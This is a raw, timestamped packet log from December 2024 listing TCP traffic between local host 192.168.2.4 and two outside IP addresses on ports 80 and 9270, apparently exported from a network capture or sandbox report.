Dec 15, 2024 11:59:30.656979084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.657015085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.657033920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.657068968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.658211946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.658272028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.658315897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.659347057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.659384012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.659487963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.659526110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.660541058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.660582066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.660681963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.660717010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.661421061 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.661484003 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.661658049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.661699057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.661808014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.661842108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.662857056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.662893057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.662952900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.662987947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.664026976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.664068937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.664141893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.664177895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.665213108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.665246010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.665458918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.665493965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.666383028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.666423082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.666440010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.666472912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.667538881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.667571068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.667649031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.667680025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.668728113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.668761969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.668889999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.668919086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.669946909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.669976950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.670135021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.670166969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.671066046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.671096087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.671245098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.671279907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.672265053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.672298908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.672354937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.672398090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.673392057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.673425913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.673445940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.673475027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.674592972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.674628973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.674690962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.674724102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.675770044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.675801039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.675879002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.675909042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.676891088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.676928997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.676939011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.676970005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.678164005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.678203106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.678219080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.678246975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.679258108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.679290056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.679357052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.679387093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.680454016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.680484056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.680547953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.680577040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.681674957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.681693077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.681705952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.681725025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.682826042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.682837963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.682857990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.682869911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.683970928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.684004068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.684041023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.684076071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.685237885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.685272932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.685311079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.685338974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.686345100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.686378956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.686388016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.686410904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.687475920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.687520981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.687580109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.687613964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.688667059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.688705921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.688760996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.688816071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.689838886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.689881086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.689990044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.690026045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.691023111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.691062927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.691106081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.691139936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.692199945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.692248106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.692409992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.692442894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.693449974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.693486929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.693531036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.693561077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.694530964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.694585085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.694622040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.694684982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.781313896 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.781385899 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.828530073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.828591108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.828814030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.828855991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.828922033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.828972101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.829061031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.829108953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.830140114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.830182076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.830262899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.830302000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.831244946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.831289053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.831372976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.831408024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.832439899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.832478046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.832545042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.832582951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.833695889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.833748102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.833765984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.833805084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.834784031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.834820986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.834875107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.834908009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.835962057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.835998058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.836116076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.836158037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.837138891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.837177038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.837313890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.837351084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.838305950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.838344097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.838368893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.838408947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.839504957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.839543104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.839608908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.839647055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.840645075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.840687037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.840720892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.840823889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.841803074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.841840982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.841969013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.842004061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.843081951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.843118906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.843249083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.843287945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.844183922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.844221115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.844453096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.844491005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.845379114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.845422029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.845561981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.845601082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.846499920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.846538067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.846657991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.846694946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.847675085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.847713947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.847735882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.847773075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.848828077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.848865032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.848923922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.848969936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.850049973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.850085974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.850225925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.850270033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.851197004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.851234913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.851286888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.851669073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.852399111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.852447033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.852865934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.852910995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.853548050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.853601933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.853661060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.853698015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.854710102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.854748964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.854824066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.854870081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.855880976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.855922937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.855994940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.856034040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.857069969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.857112885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.857198000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.857238054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.858211040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.858249903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.858345985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.858381987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.859407902 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.859448910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.859508038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.859544992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.860553980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.860594988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.860666990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.860703945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.861747980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.861792088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.861864090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.861906052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.862915993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.862958908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.863002062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.863037109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.864089966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.864132881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.864192963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.864231110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.865273952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.865314960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.865472078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.865504980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.866420984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.866467953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.866538048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.866579056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.867588997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.867629051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.867690086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.867729902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.868788958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.868829012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.868845940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.868884087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.869962931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.870001078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.870055914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.870093107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.871134996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.871175051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.871220112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.871260881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.872298956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.872339010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.872410059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.872446060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.873461962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.873498917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.873569012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.873610020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.874666929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.874707937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.874727964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.874767065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.875802994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.875845909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.875901937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.875937939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.876988888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.877039909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.877062082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.877099991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.878163099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.878215075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.878284931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.878324986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.879321098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.879364967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.879435062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.879473925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.880498886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.880531073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.880630970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.880671978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.881673098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.881722927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.881839037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.881876945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.882842064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.882884026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.882941008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.882977009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.884135008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.884150982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.884182930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.884195089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.885178089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.885221958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.885402918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.885441065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.886384010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.886434078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.886538982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.886579037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.887562037 CET	80	49805	31.41.244.11	192.168.2.4
